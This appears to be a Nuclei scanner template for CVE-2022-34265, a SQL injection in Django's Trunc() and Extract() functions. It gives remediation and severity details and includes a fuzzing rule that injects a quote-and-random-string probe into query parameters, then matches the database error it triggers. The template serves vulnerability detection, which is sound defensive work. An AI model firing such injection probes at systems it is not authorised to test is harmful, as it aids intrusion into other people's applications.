id: CVE-2022-34265

info:
  name: Django - SQL injection
  author: princechaddha
  severity: critical
  description: |
    An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The Trunc() and Extract() database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
  remediation: |
    Upgrade Django to version 3.2.14 or 4.0.6 or later that properly sanitizes kind/lookup_name values in Trunc() and Extract() database functions.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/django/CVE-2022-34265
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34265
    - https://www.djangoproject.com/weblog/2022/jul/04/security-releases/
    - https://docs.djangoproject.com/en/4.0/releases/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
    epss-score: 0.92834
    epss-percentile: 0.99772
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

variables:
  rand_string: '{{rand_text_alpha(15, "abc")}}'

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    fuzzing:
      - part: query
        fuzz:
          - "test'{{rand_string}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'syntax error at or near "{{rand_string}}&quot'
          - 'LINE 1: SELECT DATE_TRUNC'
        condition: and

      - type: status
        status:
          - 500
# digest: 4a0a00473045022100fe1e6c4df9980a5d102bfef9b3537fa9bd984b8dc5a5b84b831ef0f46d76dfb50220297ea428d1830ca17daa35d505f1ea3cf4df3e68b2f371143f549df0d06262f7:922c64590222798bb761d5b6d8e72950